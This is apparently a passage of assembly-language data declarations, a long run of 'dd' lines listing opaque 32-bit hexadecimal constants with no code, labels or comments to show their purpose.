		dd 0B8833C60h, 0EAF2B3D0h, 6B71680Ch, 6050C049h, 3ECBC95Ch
		dd 0A90F2521h, 0E09FF362h, 4956CF51h, 9446544Dh, 92C50EEFh
		dd 2E615CDFh, 0E42B3725h, 7B0DFE57h, 2945B356h,	0DF55F1C8h
		dd 59AB0C59h, 0E6180819h, 0F2B132D5h, 993B3CFAh, 0DF2D2907h
		dd 3E474F35h, 37B05F7h,	5253FD9Dh, 0F8A74900h, 0C8D0D58Bh
		dd 634B732Ch, 25A408E0h, 0F0942000h, 0A92EBF8Bh, 530D3F9Eh
		dd 49E64E0Eh, 50752C46h, 0FC020946h, 0E8D0218Bh, 88109E31h
		dd 0BE008BF4h, 0D74A3A28h, 26C447D1h, 0E4FE80Ah, 0EA6772C8h
		dd 0A84650D9h, 4C31E085h, 0D569E93Ch, 776C64D8h, 0B1C7248Ah
		dd 0A304009Ah, 0F48BF51Ah, 0CA244F00h, 0A1E64DC3h, 0F2843C98h
		dd 150FBA9h, 0D0238BF6h, 889F18F8h, 8B00EE92h, 8796BBD6h
		dd 0E6AB39C4h, 0FFE8C873h, 0D78BC2C0h, 9CD853D0h, 8BFA8E83h
		dd 0EF5090B8h, 598FF207h, 9040CC2h, 21A77890h, 32470689h
		dd 58484BCCh, 70F18780h, 1F0BCF1h, 0F661ED97h, 4CC0FBF0h
		dd 1933AC8h, 0BC31EE30h, 352461E5h, 0F42F32E9h,	0C6AD02AEh
		dd 0D480512Ch, 484C80F7h, 27E5FC1Bh, 0FAC82398h, 0C48BFF0Eh
		dd 0AC62F0D0h, 80F78922h, 0B1D402D8h, 0DFA948A2h, 0B4088814h
		dd 0E7DA5806h, 0F246B859h, 161E003h, 329C93F0h,	98B720FBh
		dd 4A1EEC9Eh, 3912C60Fh
		dd 0AF2C860h, 0FDAF23E1h, 0E4003911h, 94F60AFAh, 0FF38B1F8h
		dd 0A8740096h, 0D414C464h, 0D2B0A001h, 984E6467h, 61E160F5h
		dd 9BF023F2h, 8800E211h, 8C339E99h, 26031180h, 24AC52AFh
		dd 44049A14h, 0E70220F8h, 0D880D900h, 56F20BE9h, 69AC67A1h
		dd 4D9741E2h, 385C244Ch, 0FC122F00h, 21B4BFD1h,	3D09CCD9h
		dd 3B031821h, 65615812h, 600582DCh, 596A76Ch, 4E4AB7B5h
		dd 8D8240Fh, 0FBC4FEE0h, 8DD05883h, 95E038h, 90028BF3h
		dd 11E50C5h, 0A9E70D01h, 7CC635CDh, 13608C57h, 2A2FDDDBh
		dd 0B4316Fh, 573C022Dh,	9876633Bh, 4DB19201h, 1EF42561h
		dd 2486EFCh, 0BEA9DA45h, 38405A24h, 443B46D5h, 4CDE14E3h
		dd 12D6C080h, 43F7D1C5h, 0E3422B3h, 89122E0Fh, 0FDB78381h
		dd 0CC36F9F5h, 251498F9h, 883367h, 81E196A9h, 0F644E49h
		dd 4714FEDCh, 0CADD9A80h, 1B1227D9h, 4068FCh, 518A72BAh
		dd 4F150049h, 8FA110A7h, 0D003907Ch, 3F04655Eh,	0A9401321h
		dd 580A18C6h, 0A1011792h, 81427D71h, 0B8420BC4h, 8BFD3008h
		dd 0E0D02011h, 8793AB88h, 380451Dh, 8C5B8F18h, 9267ADFh
		dd 74736356h, 668024B7h, 78CEAC87h, 890A5h, 8CA662F2h
		dd 4FAA053h, 0CBC42105h, 7B80270Ch, 2F6C508h, 488758D0h
		dd 80442909h, 8E809C60h, 0A00E34FDh, 0F2CCE294h, 0DE5E03DCh
		dd 7540D57h, 0A3071879h, 2371F4B9h, 0D1B8C3h, 206E4810h
		dd 3A5034CBh, 334728C1h, 0A024E0CDh, 44D41464h,	0F203AC15h
		dd 1819FCC5h, 22977DD8h, 4868BE12h, 0DE501402h,	23684924h
		dd 19692888h, 0A5CEA882h, 27C8808Ch, 481AB046h,	4316B887h
		dd 21F40D37h, 4D1C0CD1h, 0A8191B6Ah, 0B470C030h, 823327Ch
		dd 57107E98h, 2F0C266Dh, 45608D14h, 885C0A21h, 0A9E480E9h
		dd 0EEDE3965h, 0CCF2FE01h, 700B1B2Ch, 0E2036432h, 2586CB0Fh
		dd 5044FCB1h, 0C46C82F8h, 4D3055B0h, 0A51BB123h, 0D83D00D2h
		dd 69A6B75Dh, 8BE89726h, 690A3B3Bh, 5F281851h, 0DE9E0EABh
		dd 9F5D4856h, 13461F5Dh, 0FCA80EF4h, 625BB343h,	901D64FFh
		dd 0F767DA24h, 0FFE62D02h, 83530A91h, 51734A0h,	4EABDCE9h
		dd 0A09800B5h, 0C003838Dh, 67008890h, 2AB84A62h, 3D23088h
		dd 57B04D6Dh, 790A5AA1h, 24540CC6h, 12712D91h, 0F4FD3A6h
		dd 0C68E0F58h, 2EC8D0Ah, 249FD4F0h, 0D9C0EC40h,	22144601h
		dd 363064C2h, 548ECC45h, 6AC0A088h, 0E49ED02Eh,	0CE6D09F7h
		dd 9803B124h, 8EB5FA6Bh, 0C0E3C8B0h, 8872DDBBh,	0A078B205h
		dd 0A31F0AF7h, 80FD9007h, 0A9842C79h, 269312DAh, 0A858149Ch
		dd 6232410h, 0EEE29950h, 406D7C19h, 0C71E3F3Dh,	67047658h
		dd 0FCC0592Ah, 0E435399h, 0BD96E99Ch, 0EB03AC0h, 0EF00FE58h
		dd 0ADC1ABCAh, 6018FDA6h, 845BDAE6h, 6F0005D9h,	5745FED8h
		dd 0C748C0h, 79D43BC1h,	0E6232F9Eh, 0E8E37100h,	0AEC930F8h
		dd 0C6F601DCh, 0B5D3B43h, 4B2C435h, 4101CF79h, 0BCDDC77Ah
		dd 70ECF2C1h, 83A7001Dh, 0AFD5782Eh, 9700C99Bh,	90E5DBA2h
		dd 0ACA487h, 7B0AD90Eh,	5618B20Ch, 0CD7DC507h, 0FE006493h
		dd 0D4CEC9h, 9CDE0835h,	0DB2E886Eh, 0A907AAFEh,	0EC875F60h
		dd 0D1C03090h, 3CF402F8h, 2C850115h, 0E7B0D063h, 0B200764Dh
		dd 0B31A58D8h, 0FE72B1FCh, 676803BCh, 6AD79B5Bh, 7017DBF9h
		dd 7D00F9E1h, 0A2B52516h, 0CB62972h, 8E2077A7h,	0AC067008h
		dd 0F9D7B906h, 13CF0048h, 461F124Ch, 0BF1D4209h, 0AED85D54h
		dd 3DBC2521h, 18069B5h,	0C71D20C9h, 0F2F8F565h,	8E528000h
		dd 164D7D2Ch, 28F60024h, 0C67EAC3Eh, 1000D8D5h,	797F8884h
		dd 6C1311h, 93CA4CAFh, 891840B7h, 0A167A600h, 5C38527Fh
		dd 7341C0FCh, 4169EE7Eh, 0DE0E3F00h, 423C6027h,	80020012h
		dd 0E824467Ah, 2F00A02Ah, 81B044C2h, 40268B4Dh,	7D0CADBCh
		dd 0C0B3B91Eh, 73711E22h, 7780BF5Ah, 0BBC8DFA2h, 150C0FCCh
		dd 187EB6FFh, 3AB3063Eh, 107CF45Ch, 81797000h, 0A99875C9h
		dd 64F6B2h, 0BB0BF86h, 0F01904DCh, 308FEE07h, 0C9501746h
		dd 719A89EDh, 10A80078h, 65B726FFh, 6D00BADEh, 4E1758D4h
		dd 0B4833h, 0CCE30A05h,	0E7999252h, 0F30067FCh,	0B4DF7E7Bh
		dd 0F59B8h, 778AC934h, 7A68977Fh, 9C569B00h, 963F2C2Eh
		dd 16DD09C0h, 3C0CA64Eh, 0CD006650h, 553E9D59h,	0FEEF5AD7h
		dd 3D3C07C7h, 0D0A0712Eh, 2A2095CCh, 5ACC101h, 8C924101h
		dd 76FA9C0h, 78C3B42Eh,	60E590h, 0EFC23780h, 0C60058D9h
		dd 0ED44524h, 18E84AEh,	0A1C999EDh, 0C8659426h,	400FEF1h
		dd 2C8BE7DFh, 0ED8EFD6h, 2B55F5D9h, 0CD2A3AE0h,	1401C50Eh
		dd 2218C843h, 0F4D0CAA4h, 0A5710065h, 0C2490326h, 7905619Fh
		dd 2FE2CB9Ah, 61591C82h, 64E9B3FCh, 90CA85F0h, 11EF0035h
		dd 0CE09B6EAh, 0C700DBDFh, 0F615013Dh, 0C993D3h, 9FFDAC04h
		dd 2CB7E60Dh, 0F36120Ah, 7608C068h, 0CCD68042h,	0CF07965Eh
		dd 808AA53Ch, 0B8DAC0A0h, 4948C1h, 79B1897Eh, 0F3264678h
		dd 2E905400h, 2445119Ah, 646F005Fh, 274BC882h, 0A3CCA3Bh
		dd 40B7A454h, 7440FB01h, 0A100B429h, 2F1FCC56h,	5A0E166Ch
		dd 0DCCE8A50h, 0DFE4B280h, 0E5AB19h, 8BA21ED6h,	0BAEB9190h
		dd 80C0CB00h, 8F36BB17h, 9446009Ah, 1C3E2BC6h, 0E328162Dh
		dd 0A01DEAF9h, 35DDDA58h, 0B493155Fh, 4F6E1043h, 100E75Bh
		dd 3092640Eh, 23780A1Bh, 4AFCB6CCh, 9635E100h, 737E7AB0h
		dd 3F71B3h, 86578C33h, 97627CA3h, 0D93AC879h, 72908077h
		dd 0E4FC55FFh, 0E71300DBh, 1E58011Dh, 0A300CEFEh, 622D2730h
		dd 4873090Ch, 0BF0020DBh, 414875ACh, 0ED1C2680h, 3CF0EEh
		dd 8A5AB1B9h, 0F921838h, 8C7E2969h, 4920622Fh, 93E14866h
		dd 0E4E96B02h, 0E0BD650Ch, 320B2C0h, 0FA8DC61Eh, 0F6B00FA0h
		dd 57F2A411h, 91228400h, 0A59CB4FFh, 35343FECh,	365CFB80h
		dd 754A3A7Dh, 1A18D402h, 48A7CC5Dh, 0E74804h, 24833F04h
		dd 6BF89FFCh, 5882E4E3h, 0B7F29E0h, 0AE03F8DDh,	0A0615EB0h
		dd 0DF014Ah, 0DA0663E9h, 0B4361DAFh, 24E7143Bh,	4C0170ECh
		dd 45DC8C6Fh, 3BB5030h,	5A811C13h, 79249369h, 203390A5h
		dd 4DC08066h, 75B060h, 0E89CCB41h, 0EF2E5202h, 0D53A2890h
		dd 11BA18F4h, 174D311h,	8D14F521h, 81F6ABECh, 480BFE19h
		dd 80D2B136h, 0DA1ECFF4h, 0E564007Bh, 7293C137h, 8A0043B7h
		dd 0E15F5D80h, 90A42EC4h, 639C3F30h, 0D720AB80h, 12FF3081h
		dd 0FAB9E707h, 0F0B05504h, 0FE313Ah, 712DD4D2h,	0F838E196h
		dd 5B4CD5A0h, 8307493Ch, 20D52AAEh, 0A874F863h,	1A441C1Ch
		dd 0F87D03EEh, 0F3C0BE59h, 0FB0F2985h, 0C0396FC5h, 1BB1702Fh
		dd 18B9001Ch, 0DBF913E7h, 0A00BD80h, 0E4A99F98h, 3B050797h
		dd 0BE002FF0h, 285BC92Ch, 6707ABF8h, 0E23B905Ah, 1B04A760h
		dd 77EFEF0h, 703EC239h,	0F89BE07Ch, 6E00C317h, 942D6BC7h
		dd 37C05Ah, 0B72FA176h,	7AC4FB08h, 2A5D900h, 2A997DFAh
		dd 5DC07B1h, 0E059EBF3h, 0F27E896Fh, 176EA31Eh,	7308BDC0h
		dd 0E442419h, 0D6AC778Bh, 0BBFF9600h, 0C0FF9357h, 4177C3E3h
		dd 238C4300h, 7D84E149h, 3B4A0115h, 0EEA49760h,	0B16CD0DFh
		dd 4D5BD900h, 0A9FC87F5h, 0FC60F34Bh, 0A40D00C3h, 9C24B4F7h
		dd 870374CEh, 0B72769DFh, 0D038F0C4h, 0CF810020h, 0F57E7110h
		dd 0DA009229h, 213DCC8Eh, 57E8B9h, 76D0DECAh, 24071786h
		dd 0F21F8109h, 0E8058034h
		dd 478C8FCh, 50182FDCh,	5CB881E7h, 62D424F3h, 0CE5B7E00h
		dd 0D830E6E0h, 26940067h, 0CD0AEF0Eh, 3500D706h, 0C2F0B139h
		dd 76903C1h, 0F82902D2h, 0E96AC0A5h, 0FF4D7A8Eh, 6E3F0078h
		dd 0DA34C3FAh, 0CFF60064h, 0D0C95BDFh, 0CA0068D6h, 0FE5CA224h
		dd 55FDB2Bh, 5ED822FDh,	310C00FCh, 21F361A1h, 7EE908C0h
		dd 2C9AAF20h, 8484A5CEh, 0D00EA858h, 851F8074h,	0FF82371Dh
		dd 339F2306h, 0C4D7F018h, 48012E10h, 0D33D0137h, 83B40FCDh
		dd 6CE8A20h, 263EF875h,	9CF0622h, 68D57762h, 0A918207Eh
		dd 0D879DF4Ah, 0D28201BBh, 265E9670h, 0D6418173h, 5875A9DEh
		dd 62789906h, 19929D00h, 0A6B43205h, 49440038h,	0BB11C4DFh
		dd 0A47FDE4Ch, 0F693CE01h, 90BD8F08h, 7C112C8h,	0AB1BA186h
		dd 7FB9E0BBh, 0E3062B8Dh, 0DA36E0Bh, 74A50161h,	0F8235E2h
		dd 479AC885h, 213E0CCCh, 0E27B0040h, 0D35C8623h, 187CDA91h
		dd 0D4613A29h, 0CA712A00h, 1962B97Dh, 98109EFh,	4A21873Dh
		dd 0E8B0CA66h, 718CBD23h, 60070056h, 21FD90Dh, 0F3041D7Fh
		dd 0AA4ECADh, 3A69A780h, 11CB15B4h, 83008419h, 0ADA5168Fh
		dd 3D0F850Eh, 99DE89h, 6E67FD95h, 29C70A8Ah, 3E8AE81h
		dd 6F75FE55h, 982038B5h, 31052B46h, 18C17B19h, 0F8EA30B3h
		dd 8476C000h, 8BA52786h, 6026744Eh, 704D2101h, 520E42BFh
		dd 600DBC11h, 0D02A0E7Eh, 14390012h, 0A4EB54BBh, 4D30C791h
		dd 48479887h, 5E590108h, 0B97CA2Bh, 75C45877h, 8234E208h
		dd 7C437017h, 42FBE203h, 9983E3B7h, 58B3BDF6h, 7FD0CCFCh
		dd 9A0F2CEEh, 1CFEB898h, 0E62EFC0h, 928A2503h, 0B6053C74h
		dd 7BCCD4h, 67785EA6h, 2F8F5823h, 660FFE3Eh, 15E9D730h
		dd 8C701930h, 73C0E780h, 26437E84h, 4B588870h, 536CBF00h
		dd 70622FC8h, 0A7E2246Dh, 2D25807Ch, 0EC9A77F8h, 0DC530802h
		dd 48DD6233h, 0F41DB7C8h, 549CA00Dh, 0D92B1D1Ah, 4E554418h
		dd 2C1880FDh, 6414A98Fh, 23A00FC0h, 0E3680172h,	0CA6F8241h
		dd 0C0143019h, 1551E3B3h, 951B4270h, 0F07999CAh, 0A796DB6h
		dd 0DA8FC960h, 0D4C11080h, 8CFCB80Ch, 7730F605h, 0E090A699h
		dd 0CDB862h, 96ACC246h,	2A76DBC1h, 0F1BAE000h, 57116D04h
		dd 0BE9C037Eh, 477B528Ch, 24C404A5h, 0E09340FBh, 0E30F4E82h
		dd 498FA6C0h, 0E300C0C1h, 0EF40204Ah, 77588E82h, 0E0243CC2h
		dd 0BDC6E939h, 1B149283h, 586D194Eh, 6F70D840h,	0E402FE43h
		dd 0E6847AC0h, 5910F631h, 0C400BF7Ch, 0E7B39DF2h, 1FEF6E75h
		dd 4DC3BD6h, 848E0673h,	94E827ECh, 9EC85A3h, 406134Ch
		dd 0F06080D4h, 99F49151h, 43C4A879h, 6083900Bh,	33B911A2h
		dd 200372CCh, 5807AD4Eh, 0BA082A4Fh, 3B9901ACh,	0FB9171CCh
		dd 539FC4A5h, 0D755AA01h, 404C1A0Bh, 284870D1h,	73CC0436h
		dd 32A91620h, 3E9E20B3h, 543BE5CCh, 6F00FFC1h, 0E15B0985h
		dd 4248F87h, 0B70EB146h, 4720801Eh, 0F03EF189h,	80CF73Dh
		dd 4818E686h, 928270A6h, 0BEB4093Ch, 6000F149h,	0D6E3D358h
		dd 818DB06h, 0A079738Dh, 3181CBC4h, 76200D4Eh, 0F5509121h
		dd 8C738C40h, 74CC3502h, 16A91E20h, 0CC3D6700h,	0F9F0A316h
		dd 2BEF013Ch, 1314DABEh, 20B02130h, 0E2882F04h,	0F339C7A9h
		dd 20E471DDh, 0B7E6CC2Eh, 45586001h, 0BFF0885Ch, 4C4380CCh
		dd 0E700142Dh, 21D3596Dh, 9025A76Ah, 0CC240AB3h, 6A806811h
		dd 3F8233E3h, 715A0087h, 0D3FCEEE2h, 1B610E01h,	62FDFADFh
		dd 4B072422h, 20E57DD1h, 0FC6DE81Ah, 928B5409h,	8ED30101h
		dd 2883D66Fh, 9EB2CD1h,	0C5389894h, 80195080h, 79C03DA3h
		dd 0C75779DDh, 809D008Ah, 0F7DC64C3h, 8B03730Ch, 0F144032h
		dd 0A1307012h, 19696Ch,	478232C9h, 0A7546CA4h, 7A004584h
		dd 0BBD7ECE2h, 0EE93A8h, 0D00676B3h, 375F2ACCh,	0FAA40150h
		dd 14125891h, 0B023803Ah, 91E85A00h, 78B5BCAh, 2585F05Ch
		dd 7080A9E5h, 0D69DDEDBh, 935C7CB0h, 7D1913CBh,	0C0A06867h
		dd 8C96847Ch, 94FFF44h,	8D1DBF7Eh, 58C84081h, 0FC16D95Dh
		dd 0AD836A89h, 303D08C2h, 0F810CA76h, 4BE05ABAh, 2707CA6Fh
		dd 8778AA18h, 806845Ah,	90F9A08Ah, 0E681C7F0h, 0DB9400CEh
		dd 0F8A9D385h, 4678168Ch, 0CA730248h, 3172BAE7h, 68401032h
		dd 88781CCAh, 6CCE01A7h, 8992E411h, 0F69C10F4h,	22142A12h
		dd 4B033CA2h, 0AF991383h, 8CD28092h, 1D3600FBh,	0D0A0C486h
		dd 2009E6BCh, 2C29CF5Fh, 580E508Ch, 9F10247Ch, 0B8BC901Ah
		dd 68008CF2h, 1E925320h, 4C6AB791h, 8100E4B0h, 0FDA706F8h
		dd 650B546Ch, 222EE6ACh, 410F8600h, 3C4E9178h, 82C0F3C8h
		dd 186EF87h, 0E7D0C963h, 53318CA6h, 0C8FC0888h,	660C018h
		dd 0BF32FA39h, 747C0071h, 83E4D495h, 8A0BE89Fh,	5410D92h
		dd 0DC45420Ch, 0F440DE99h, 46E5DF53h, 0ED330056h, 928C4493h
		dd 0EF4CD638h, 2ABE2290h, 0ADCC3AC0h, 5381E060h, 3D268E83h
		dd 8A0BC4F2h, 8020B7CBh, 4A15C57Bh, 55282784h, 9950C88Dh
		dd 523AD154h, 0EC844D1Bh, 0C9DA0279h, 0C5B42DB9h, 10093861h
		dd 0BDF174h, 2ADE2695h,	477A6601h, 83C93A03h, 2C0AA48Dh
		dd 0F82529h, 748C0284h,	5B2D230Eh, 61D809h, 0B9738541h
		dd 0F99AEEA2h, 1F3D3000h, 7D572C32h, 0FCA0546h,	0C05086B6h
		dd 0F9110D94h, 4F6C7E01h, 0B55A8E0Ah, 0E6D7F083h, 888362CBh
		dd 22C2F5B8h, 7909CE00h, 5EB79D54h, 404361BAh, 0F0B1872Ch
		dd 0C3FC0FCDh, 85A4223Ah, 0E332028Fh, 3D23902Fh, 29C250Ch
		dd 850D0A76h, 0E8FC05h,	2A75016h, 0BF48824Fh, 3DB98194h
		dd 86037EBh, 2E04B011h,	627C4125h, 7D19C17Ah, 4A846020h
		dd 0FD6C324Eh, 0BF494A20h, 6DFF09BEh, 868C4481h, 8788AB60h
		dd 6C2630DFh, 7734FF78h, 0A0525C40h, 305E8270h,	0D6B0F63Ah
		dd 44D62ACh, 4722244Ch,	9A396800h, 383ADA8Fh, 0C68F0DF1h
		dd 262683F7h, 4A1858B1h, 0FE9103C1h, 68910080h,	1FE2E1A8h
		dd 0CB09B4FAh, 6D8D7A14h, 0AE1EE3B0h, 0D6A0488Ch, 81232084h
		dd 2098282Bh, 9225B20Dh, 11809D23h, 35F38032h, 0F6CAB927h
		dd 126AB003h, 40ABE3FBh, 33656BC0h, 5E003B81h, 0A46EDCC4h
		dd 7470D7B3h, 0D36015Bh, 8A56AA49h, 7F9040E2h, 0B626B782h
		dd 0E485AC88h, 0E083EEC4h, 0EE4ADBE3h, 98621B18h, 9DE860F4h
		dd 3514B8E5h, 0F00207h,	0E0815095h, 3A8237D2h, 18873657h
		dd 0C0736A8Eh, 0C3C445D7h, 0C03CB75Ch, 40DA717Fh, 0FA7B0E61h
		dd 79C12DCDh, 4026020Ch, 8C0475E5h, 9F006AE2h, 73A8E948h
		dd 1919E58h, 0AC025652h, 0B0F0CD8Eh, 2F5718C0h,	0B41B0465h
		dd 0FE59BEh, 0DE8E026Eh, 3AFCB0A2h, 34B0A483h, 0F58B8581h
		dd 588E5E0Eh, 958780EBh, 598F9081h, 8001602Eh, 0B8080BCCh
		dd 2AD434A4h, 243B8718h, 5444B20h, 0F5DEDC6Ch, 7F90068Fh
		dd 8D0030C3h, 93199655h, 40F77721h, 0B700BD22h,	2E12EB9Fh
		dd 4C2879h, 3E27A191h, 0F3DA8329h, 0F4234B01h, 0E32A36AAh
		dd 28B6088Ch, 0D2006D20h, 0AF4453F3h, 1A75BBDh,	0A30F0A91h
		dd 0D32806D6h, 72C94800h, 64BA7665h, 0B20A1944h, 0BF03086Ch
		dd 657A8021h, 0AEB3A50Fh, 26F400C5h, 0AF9458EAh, 2A3EFB70h
		dd 0C7BD0CA3h, 182260B7h, 2003D616h, 2B338A71h,	29188Ch
		dd 88F1B051h, 90DE423Ah, 4E448A5h, 2D805460h, 7E172400h
		dd 2E1F203Fh, 89BB0E22h, 49A3CCD3h, 8AD80913h, 28607640h
		dd 6B46E328h, 6858032Eh
		dd 36E4E518h, 49F560FFh, 5D7CB171h, 0BF0A7D07h,	4780CBEFh
		dd 0EC669C80h, 0FCF33889h, 0A5C54900h, 1FBD5969h, 25B03Bh
		dd 8A786A82h, 0AB3856h,	6815CAF5h, 527DC5C2h, 2C368900h
		dd 0BC119D79h, 0C0CB0764h, 489358ABh, 0E154A180h, 1F204DB0h
		dd 6CCAF26h, 20CB1C41h,	0C2677400h, 0B7CDFE98h,	0A35E0F01h
		dd 566F9Bh, 0C11C0E22h,	571B5D06h, 0E050E024h, 1F44E4Ah
		dd 0FD338B0h, 2039174Ch, 0E93EB999h, 20950028h,	97385957h
		dd 2D4C1E70h, 3F4D8EFBh, 0BE55B180h, 0C13C88D2h, 0BA1080FCh
		dd 423C2692h, 30E17CE0h, 4C18C211h, 8171B738h, 90D49D04h
		dd 2044EF31h, 98D243B3h, 464901A1h, 40136903h, 6CA983E2h
		dd 15F1700Eh, 88F5FDC0h, 0A883DF3Bh, 0E9B9D80h,	213BF6A3h
		dd 47A071h, 0F8B0DBAEh,	42133550h, 0C746AF01h, 36F99DE3h
		dd 0A6F8044Fh, 0A50E5FCh, 0AB373C08h, 69B020DAh, 39F2767h
		dd 89E27F44h, 18CBB7EAh, 483C14C0h, 0E3023303h,	829C4FAh
		dd 869AEB29h, 88E17408h, 0C5883224h, 8497903Ah,	2048E62Ah
		dd 2EC72742h, 0E8C084F0h, 0DC421C48h, 408F2422h, 4E06D169h
		dd 20C400CDh, 4CE4FFEFh, 0BD00DB0Ch, 82BEF550h,	229362h
		dd 349D13B0h, 157E25B7h, 68576B00h, 6677147Ah, 2C721F64h
		dd 0C6768082h, 1802EB9h, 61D3C700h, 0A0E36C4Ch,	0D7E4DDh
		dd 2D97E968h, 0DA0E2656h, 0F54ED000h, 0EF7F42BDh, 772F649h
		dd 5275C367h, 103D001Bh, 7C004AA6h, 191896F8h, 2D8238h
		dd 0CE6EFBF0h, 695AE9F7h, 1009DC06h, 3D421A4Ah,	0A9800EC0h
		dd 0DA362BA3h, 0D8E0F531h, 0E471B7FAh, 247F800h, 0F8BCACBh
		dd 74C6002Ah, 8A2EACEBh, 0D990633Ah, 53F4D500h,	0D4A0CE84h
		dd 606E5854h, 0DBB30F00h, 8F88D829h, 26064D0Fh,	0B93B0064h
		dd 67179145h, 5FB548F3h, 4200A96Eh, 0DD980138h,	114F848h
		dd 4534F19Fh, 63D4FBC0h, 0B91B001Fh, 0B6FDF7F3h, 68F8CDE9h
		dd 0E790A507h, 0EE90C898h, 0CDC8D29h, 0E156E6ECh, 0BC0B6E60h
		dd 80108FFEh, 9F481190h, 8BCB0093h, 901ACAE0h, 4D042704h
		dd 1B330325h, 0F56E5880h, 6F08009Fh, 0DBAD2DEAh, 0A90FBF30h
		dd 0CC465692h, 86EF3h, 1E9AA4EEh, 878FD29Eh, 7604A600h
		dd 0F4B91D78h, 817C3D2Bh, 53B7D00h, 29C3B785h, 3F771018h
		dd 30A010h, 3B883CB1h, 9F1E82AAh, 0CD52F000h, 1BCC318h
		dd 7C490094h, 0D38CE8E3h, 9B0F1DAAh, 0A0D0E68Dh, 8B6BF8FEh
		dd 26C00011h, 2524BA91h, 0D3E6B922h, 72762D00h,	0F62FBCB5h
		dd 581E00F4h, 4CE68255h, 0A9007EB2h, 1BA0D98Eh,	0E58396h
		dd 0B015D608h, 3A3F856Bh, 27735D0Eh, 7EBD22EBh,	0C2C7E02Eh
		dd 728D005Fh, 0A809A428h, 2707BE14h, 4F12940Ah,	99824560h
		dd 0B54D0E92h, 2DC0F0DDh, 0C39E7378h, 80AC3250h, 1AC7EC00h
		dd 22AEB91Fh, 8A37003Dh, 0B579E94Eh, 0CB00067Dh, 63439712h
		dd 64D7E7h, 84A6520Dh, 2AF0B616h, 14F4CE7Dh, 0D3D4F561h
		dd 9820A10Ah, 0C6740Fh,	4F6E060Eh, 52BF69E9h, 9AF3FE02h
		dd 40B1A76Dh, 36861Ch, 0ECE8D030h, 5DD3A894h, 7A33FDFEh
		dd 98F38C3Fh, 0C0540B2Dh, 4E9BD831h, 9950A95Bh,	0B9005CF9h
		dd 1DDCE5D1h, 9092D9C0h, 0E3A80024h, 0B1FCD330h, 0FE39F821h
		dd 5C779F61h, 87E45B89h, 0C1B09280h, 76FB06Ah, 9360DA40h
		dd 85066018h, 2101F7CDh, 7924BCF6h, 98FF4BD4h, 0FE4FD92h
		dd 3E839335h, 5628E8E0h, 0D30E48BDh, 40F2F7EFh,	0BCDEDA41h
		dd 85010004h, 0D2AE0674h, 9100488Bh, 73F94A2h, 33EE9C7h
		dd 0E67120CAh, 76A0CC82h, 0EF5C03A0h, 0D2691C6Dh, 89341140h
		dd 803B9Ch, 0A4855788h,	765AD18Ch, 754CA600h, 932D9681h
		dd 6BA93DDFh, 0D458D860h, 771F3BDEh, 14C7C699h,	41705AE3h
		dd 0FC458D02h, 7C5F1C73h, 40C0DD1Bh, 0B1AA34BDh, 4E003E5Ch
		dd 0BB638389h, 0F12C0Ch, 62EBC6CCh, 57A0DCF4h, 64DC09Fh
		dd 0FDB0001Dh, 0AF123641h, 1600BBB1h, 84A4E0AEh, 0AA80D9h
		dd 0D6FB2309h, 9FF4E374h, 62307975h, 67761E89h,	5EFF00F0h
		dd 5696F911h, 6A50347Bh, 1D001CBCh, 0AD65999Fh,	0AA14360h
		dd 3B019CB8h, 9E7904ADh, 327A8096h, 0AA4C92BFh,	0E3FC1F70h
		dd 60447A4Eh, 40ECF2F5h, 639D00A5h, 2C7D4173h, 0EA000ABBh
		dd 91A19B03h, 0D4A75Fh,	88FD0E04h, 0B6062EAEh, 97711C0Fh
		dd 3C0B93FCh, 0E18902h,	0ED6EB33Ch, 198B085h, 0A3D13565h
		dd 34F0A01Fh, 9930EF84h, 673A980Ah, 288A044Ah, 0C0C181FCh
		dd 0CDA082D0h, 40187700h, 0B70617C5h, 2112194Ch, 603B20B3h
		dd 0D0EB53Ah, 13565DE5h, 912D9000h, 3CB6545h, 1584833Fh
		dd 808546D0h, 4BC8E87Ah, 9BFD1B00h, 2ED80703h, 76720E91h
		dd 1CA37D43h, 7CB0E2D6h, 0AD008897h, 12AF48E9h,	75713670h
		dd 0C6A0048Ch, 0C082B498h, 64528518h, 0E088D00h, 32E7A131h
		dd 4B89001Bh, 0FCB1EDDFh, 0D7013585h, 28788705h, 8206D12h
		dd 3CFDB8E7h, 13006951h, 0C12C636Eh, 19FCC657h,	1F40603h
		dd 0A1948303h, 53C0FB46h, 2DA0003Ch, 0A0C6080h,	0F100A775h
		dd 8DDD70BAh, 98CB35h, 7E44E365h, 454CC8C5h, 0F0A14A00h
		dd 0D5AA66EEh, 0A857008Bh, 0F231E71h, 0B3016A6Eh, 0C4B2EB5Bh
		dd 5FDDC249h, 5ACA20h, 78FF0559h, 0B5FD6B64h, 79DBF000h
		dd 14E11915h, 396D0C95h, 88904F31h, 0DD45B200h,	0ED337C86h
		dd 14AE0052h, 70FE5C48h, 0BB00161Ah, 0B758358Eh, 0F5D9F4h
		dd 4776B427h, 0DCA7F6D5h, 0DF03E6FAh, 4D54CCB6h, 6589B05Eh
		dd 19EF41Fh, 0F5C0059Fh, 6062D2BCh, 1800A0B7h, 0C2348730h
		dd 0E62389EBh, 0CB330082h, 2FF71E8Ah, 807F858Ch, 29E86A1Fh
		dd 0F9C873C0h, 0F6F603Eh, 9A9DBC41h, 0BF52E000h, 713E40CFh
		dd 117C80A1h, 36588BCDh, 3F740018h, 7E12FA01h, 1E00933Dh
		dd 0FEA502D8h, 0ED6EC94h, 0F795E5E7h, 0A7E84F7Dh, 0CCFCA4C2h
		dd 818080E3h, 303C52D8h, 16F70080h, 69EB4DEFh, 4B7701FCh
		dd 781748B7h, 4488809Ch, 0A582CA16h, 2315173Eh,	4F1A0004h
		dd 0F827F1C0h, 79C5F200h, 1EFDA1D7h, 0BF9B0F19h, 59A0B238h
		dd 8D5EA303h, 8A92B00h,	0C8C618B3h, 0C489C13Ah,	64F4C3DCh
		dd 0AB0680FCh, 0F3B0D79Dh, 0BF120094h, 51A0CC3Bh, 3E00A6EDh
		dd 0B64B207Ch, 7699F2h,	4DA4C0D2h, 0F5AC6B0Ah, 34A8B905h
		dd 1C8796D6h, 0FB0C140h, 737151h, 13333E23h, 75043F9h
		dd 1034C200h, 5E549B96h, 596E3EF4h, 558ED200h, 0A15261DBh
		dd 0C3A59000h, 297A9DF3h, 0C20A006Ch, 58261860h, 0CB006F71h
		dd 9163CD8Dh, 0E43A9A69h, 0F6EF00B0h, 0EC2B53C6h, 0D7A020E8h
		dd 7AE88AD6h, 690056FEh, 1FA61826h, 94CA41h, 6B25C43Dh
		dd 4B1C64A7h, 3F674713h, 285C4C00h, 1D7BFFEAh, 0C011CA4Dh
